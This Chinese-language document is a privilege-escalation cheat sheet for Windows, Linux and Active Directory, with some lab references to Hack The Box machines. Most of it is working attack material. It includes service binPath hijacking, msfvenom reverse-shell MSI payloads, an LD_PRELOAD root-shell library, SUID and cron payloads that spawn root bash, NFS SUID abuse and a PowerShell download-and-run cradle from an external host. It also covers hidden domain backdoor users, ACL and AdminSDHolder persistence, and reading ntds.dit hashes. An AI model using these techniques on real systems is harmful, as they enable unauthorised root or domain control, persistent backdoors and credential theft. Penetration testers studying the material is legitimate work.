提权 - 图1

Windows提权

提权测试机安装,以管理员权限运行 BAT脚本

内核提权

系统信息

检查Windows版本是否存在已知的提权漏洞(即查看相应的补丁)

可以使用以下的一些系统命令

  1. systeminfo 查看在线的提权网站进行对比(https://i.hacking8.com/tiquan)
  2. systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
  3. wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
  4. wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
  5. [System.Environment]::OSVersion.Version #Current OS version
  6. Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
  7. Get-Hotfix -description "Security update" #List only "Security Update" patches
  8. wesng
  9. https://github.com/bitsadmin/wesng

关注重点的提权漏洞

  1. BypassUAC
  2. MS14-058[KB3000061]
  3. MS14-068[KB3011780]
  4. ms15-051[KB3045171]
  5. MS15-077[KB3077657]
  6. MS16-032[KB3124280]
  7. ms16-075
  8. MS16-135[KB3199135]
  9. MS17-010[KB4013389]
  10. cve-2019-0708
  11. CVE-2019-0803
  12. CVE-2019-1322 & CVE-2019-1405
  13. cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]
  14. ....

漏洞库

查找对应的影响的漏洞库

https://github.com/Ascotbe/Kernelhub

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/nomi-sec/PoC-in-GitHub

服务提权

DLL 劫持或者 COM 劫持来过UAC

DLL 劫持,劫持系统的DLL文件进行bypass

DLL 注入 来提权

利用dnscmd在DNS服务器上实现远程加载Dll

实验为 : hack the box 的 Resolute 靶机 利用此漏洞来提权

BinPath

由于WIndows错误的权限配置导致的,Microsoft Windows 服务(即以前的 NT 服务)能够创建可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。这种服务非常适合在服务器上使用,或任何时候,为了不影响在同一台计算机上工作的其他用户,需要长时间运行功能时使用。还可以在不同登录用户的特定用户帐户或默认计算机帐户的安全上下文中运行服务。Windows服务(Windows Services)通常使用本地系统账户启动。如果我们拥有可以修改服务配置权限的话,可以将服务启动的二进制文件替换成恶意的二进制文件,重新启动服务后执行恶意的二进制文件,可以获取到system权限。

先获取系统的服务信息的命令

  1. wmic service list brief
  2. Get-Service

可以使用自动的脚本来枚举,所要提升的服务

PrivescCheck

  1. 用法
  2. cmd
  3. powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
  4. powershell
  5. PS C:\Temp\> Set-ExecutionPolicy Bypass -Scope process -Force
  6. PS C:\Temp\> . .\PrivescCheck.ps1; Invoke-PrivescCheck
  7. PS C:\Temp\> Get-Content .\PrivescCheck.ps1 | Out-String | IEX
  8. PS C:\Temp\> Invoke-PrivescCheck
  9. 更多信息
  10. Invoke-PrivescCheck -Extended
  11. 生成报告文件
  12. Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME%
  13. Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML
  14. 如果存在当前用户对服务具有完全访问权限
  15. sc stop UsoSvc
  16. 修改服务,并将其二进制文件指向我们的恶意二进制文件,当服务启动时,shell
  17. sc config usosvc binPath= "evil.exe"
  18. sc config usosvc start=auto
  19. sc start usosvc
  20. 由于脆弱的服务VulnSvc启动的meterpreter二进制程序.exe不是兼容的服务二进制程序,因此meterpreter会话很快就会消失。要保存会话,请将其迁移到另一个进程。
  21. msf进程迁移
  22. run post/windows/manage/migrate

同时也可以对服务所对应的二进制文件进行覆盖成恶意的二进制文件

复现参考

视频参考

Unquoted Service Paths(未加引号的服务路径)

如果可执行文件的路径不在引号内,Windows 将尝试在空格前执行每个结尾。这源于Windows处理CreateProcess API调用的方式。

如果使用包含空格的长文件名,请使用带引号的字符串表示文件名结束和参数开始的位置;否则,文件名是不明确的。

  1. 枚举存在的服务,也可以使用自动化工具进行枚举
  2. cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
  3. 例如服务为:unquotedsvc
  4. sc qc unquotedsvc
  5. 例如一个普通用户可以修改的服务(unquotedsvc)的存在这个路径:"C:\Program Files\Some Folder\Service.exe"
  6. 将上面服务的路径,替换为下面的可执行文件
  7. C:\Program.exe
  8. C:\Program Files\Some.exe
  9. C:\Program Files\Some Folder\Service.exe
  10. 使用MSF生成一个可执行文件,然后开启这个服务
  11. sc start unquotedsvc

Registry(注册表)

利用Autorun 提权

检查是否可以覆盖将由其他用户执行的某个注册表或二进制文件

  1. 查看自动运行的文件
  2. https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
  3. autorunsc.exe -m -nobanner -a * -ct /accepteula
  4. 生成一个evil.exe 对其自启动的二进制文件进行替换
  5. 返回system权限

利用AlwaysInstallElevated提权

AlwaysInstallElevated是一个组策略配置,如果启用,那么将允许普通用户以SYSTEM权限运行安装文件(msi)

  1. 如果这两个注册表的值为0x1,则存在这个漏洞
  2. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  3. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  4. Metasploit payloads
  5. Msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=4567 -f msi > 1.msi
  6. msiexec /quiet /qn /i C:\Windows\Temp\1.msi
  7. 或者
  8. Import-Module .\PowerUp.ps1
  9. Write-UserAddMSI
  10. msiexec /q /i UserAdd.msi
  11. 之后进行添加用户

一些工具

WinPEAS

PrivescCheck

Seatbelt

备忘录

LOLBAS

Potatoes系列

参考

https://3gstudent.github.io/利用AlwaysInstallElevated提权的测试分析

https://mp.weixin.qq.com/s/lNyvyW2Pq9abIC9ViJteaQ

https://3gstudent.github.io/渗透技巧-从Admin权限切换到System权限

Linux

Linux靶机

内核提权

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

1.PNG

sudo 配置错误

当你有当前用户的密码时,使用
如果攻击者无法通过其他任何方法直接获得root用户访问权限,则他可能会尝试损害具有SUDO访问权限的任何用户。一旦他可以访问任何sudo用户,他就可以基本上以root特权执行任何命令。

管理员可能只允许用户通过SUDO运行一些命令,可能在没有察觉的情况下中引入漏洞,这可能导致权限提升。

一个典型的例子是将SUDO权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道’find’命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。

检查可以用sudo执行的命令

  1. sudo -l #Check commands

5.PNG

可以执行的提权命令为

  1. sudo find /bin -name nano -exec /bin/sh \;
  2. sudo awk 'BEGIN {system("/bin/sh")}'
  3. echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
  4. sudo vim -c '!sh'

LD_PRELOAD

LD_PRELOAD是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载器将在任何其他共享库(包括C运行库(libc.so))之前加载这些路径,这被称为预加载库。
为了避免这种机制被用作suid/sgid可执行二进制文件的攻击媒介,如果ruid != euid,加载器会忽略LD_PRELOAD。

对于这样的二进制文件,只有标准路径中也是suid/sgid的库才会被预加载。
如果你在sudo -l的输出中发现一句话:env_keep+=LD_PRELOAD,并且你可以用sudo调用一些命令,你可以提升权限。

创建一个/tmp/pe.c

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. void _init() {
  5. unsetenv("LD_PRELOAD");
  6. setgid(0);
  7. setuid(0);
  8. system("/bin/bash");
  9. }
  1. cd /tmp
  2. gcc -fPIC -shared -o pe.so pe.c -nostartfiles
  3. sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo
  4. 列如:
  5. sudo LD_PRELOAD=/tmp/x.so apache2

计划任务

如果未正确配置Cron,则可以利用它获得root特权。

  1. cron作业中是否有可写的脚本或二进制文件?
  2. 我们可以覆盖cron文件本身吗?
  3. cron.d目录可写吗?

Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。

查看计划任务

  1. crontab -l
  2. ls -al /etc/cron* /etc/at*
  3. cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

4.PNG

PTAH

在/etc/crontab中可以找到PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/ sbin

(注意用户“user”是如何在/home/user上拥有写权限的)

如果在这个crontab中,根用户试图在不设置路径的情况下执行某些命令或脚本。例如: root overwrite.sh

  1. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
  2. #Wait cron job to be executed
  3. /tmp/bash -p #The effective uid and gid to be set to the real uid and gid

通配符

如果由root执行的脚本在命令中有一个“*”,可以利用它来实现意想不到的事情(如privesc)。

通配符技巧

脚本覆盖和符号链接

如上图的所示的,可以修改以root执行的cron脚本overwrite.sh

  1. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
  2. #等待执行
  3. /tmp/bash -p

频繁的cron任务

使用papy来监听进程,查看是否有进程可以写入。

SUID

当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。

-rwsr-xr-x –用’s’字符代替’x’表示SUID位被设置。

查看设置了suid的程序

  1. find / -perm -4000 2>/dev/null #Find all SUID binaries

2.PNG

上图为suid的提权的一个环境,libc是suid进行运行的

如果suid二进制文件执行另一个指定路径的命令,那么您可以尝试导出一个以suid文件正在调用的命令命名的函数。

  1. 1. In command prompt type:
  2. echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
  3. 2. In command prompt type: gcc /tmp/service.c -o /tmp/service
  4. 3. In command prompt type: export PATH=/tmp:$PATH
  5. 4. In command prompt type: /usr/local/bin/suid-env
  6. 5. In command prompt type: id

3.PNG

搜索到一些应用程序进行提权

利用查看利用方法

GTFOBins

对应GTFOBins的自动化工具
traitor

NFS共享

网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。

读取/etc/exports文件,如果您发现某个被配置为no_root_squash的目录,那么您可以作为客户端访问它,并在该目录中写入,就像您是该机器的本地根目录一样。
no_root_squash:这个选项基本上是授予客户机上的root用户以root身份访问NFS服务器上的文件的权限。这可能会导致严重的安全隐患。
no_all_squash:类似于no_root_squash选项,但适用于非root用户。想象一下,你有一个非用户shell;检查/etc/exports文件;No_all_squash选项存在;检查/ etc / passwd文件;模拟非root用户;以该用户的身份创建一个suid文件(通过使用nfs挂载)。作为nobody用户执行suid,并成为不同的用户。

  1. cat /etc/exports

6.PNG

/tmp 目录的共享

在客户端机器上挂载该目录,并以 root 身份在挂载文件夹内复制我们编译的有效负载,该有效负载将滥用 SUID 权限,赋予其 SUID 权限,并从受害者机器执行该二进制文件(C SUID payload )。

  1. #Attacker, as root user
  2. showmount -e [Linux IP Address]
  3. mkdir /tmp/1
  4. mount -o rw,vers=2 [Linux IP Address]:/tmp /tmp/1
  5. echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
  6. gcc /tmp/1/x.c -o /tmp/1/x
  7. chmod +s /tmp/1/x
  8. #Victim Linux
  9. /tmp/x
  10. id

第三方服务(各种姿势补充中)

Sudo

sudo <= v1.28

Password Mining

  1. : cat ~/.bash_history | grep -i passw

工具&&知识库

traitor

linPEAS

linux-exploit-suggester

GTFOBins

LInux-privilege-escalation

参考

https://book.hacktricks.xyz/linux-unix/privilege-escalation

https://mp.weixin.qq.com/s/zljS6WPyy0wbDJaQ8vuKCw

https://github.com/sagishahar/lpeworkshop

域提权

Exchange服务器中特定的ACL实现域提权

利用条件:

Exchange Trusted Subsystem和Exchange Windows Permission,如果获得了这两个组内任意用户的控制权限

利用方法:

靶机: HTB—Forest 靶机

获取到Exchange Windows Permission内用户的执行

  1. 直接在Exchange的三个组内添加后门用户
  2. net user Toms Toms@123 /add /domain
  3. net group "Exchange Windows Permissions"
  4. IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/PowerView.ps1') or Import-Module .\PowerView.ps1
  5. $SecPassword = ConvertTo-SecureString 'Toms@123' -AsPlainText -Force
  6. $Cred = New-Object System.Management.Automation.PSCredential('HTB\Toms',$SecPassword)
  7. Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity Toms -Rights All
  8. 隐蔽的做法:
  9. 只添加特定用户对Exchange中三个组ACL的控制权限
  10. Import-Module .\PowerView.ps1
  11. 首先需要找到Exchange Trusted SubsystemDN(Distinguished Name)
  12. Get-DomainObject -Properties distinguishedname |fl
  13. 查看Exchange Trusted SubsystemACL
  14. Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com"
  15. 获得Exchange Trusted Subsystem的原始数据
  16. $RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
  17. 添加后门用户TomsExchange Trusted Subsystem的完全访问权限
  18. $RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
  19. $TargetObject = $RawObject.GetDirectoryEntry()
  20. $ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity Toms -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
  21. $TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
  22. $TargetObject.PsBase.CommitChanges()
  23. 由于用户Toms具有对Exchange Trusted Subsystem的完全访问权限,所以能够反复将自己添加或是移除Exchange Trusted Subsystem

PowerView对域对象的ACL添加 backdoor-AdminSDHolder

其中利用PowerView的Add-DomainObjectAcl

backdoor the ACLs of all privileged accounts with the ‘Toms’ account through AdminSDHolder abuse

AdminSDHolder

AdminSDHolder 是位于 Active Directory (cn=adminsdholder,cn=system,dc=domain,dc=com) 系统分区中的一个对象,用作某些特权组成员的对象的安全模板。

枚举这些组中的对象,并标记安全描述符与 AdminSDHolder ACL 不匹配的任何对象以进行更新。

安全描述符传播器 (SDProp) 进程在 PDC 模拟器上每 60 分钟运行一次,并使用在 AdminSDHolder 上设置的安全权限重新标记对象访问控制列表 (ACL)。

ACL

Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL

ACE:
Access Control Entry,ACL中的元素

DACL:
Discretionary Access Control List,用来表示安全对象权限的列表

SACL:
System Access Control List,用来记录对安全对象访问的日志

Windows访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限

例如对某个文件进行访问,系统将做以下判断:

  1. 如果没有DACL,系统将允许访问
  2. 如果存在DACL,但没有ACE,系统将拒绝所有访问
  3. 如果存在DACL,也存在ACE,那么会按照每个ACE指定允许或拒绝

所以通过修改用户的ACL来进行利用:

1. 本地提权后门

在取得Windows系统的管理员权限后,可以修改系统目录的ACL,添加普通用户的完全访问权限,作为提权后门
后续可以通过dll劫持、文件替换等多种方法从普通用户提升至管理员权限

2. 域环境GPO的修改

修改域内共享文件夹\\<DOMAIN>\SYSVOL\<DOMAIN>\的ACL,添加普通用户的完全访问权限
后续可以使用域内普通用户的权限修改域环境的GPO,修改GPO的计划任务,实现计划任务的远程执行

3. 域内普通用户读取域内所有用户hash

创建ntds.dit的文件共享,添加ACL
后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的hash

扩展&&参考:

https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

https://3gstudent.github.io/渗透技巧-Windows下的Access-Control-List

http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/

https://adsecurity.org/?p=1906

https://3gstudent.github.io/域渗透-AdminSDHolder

https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)#id0250006#id0250006)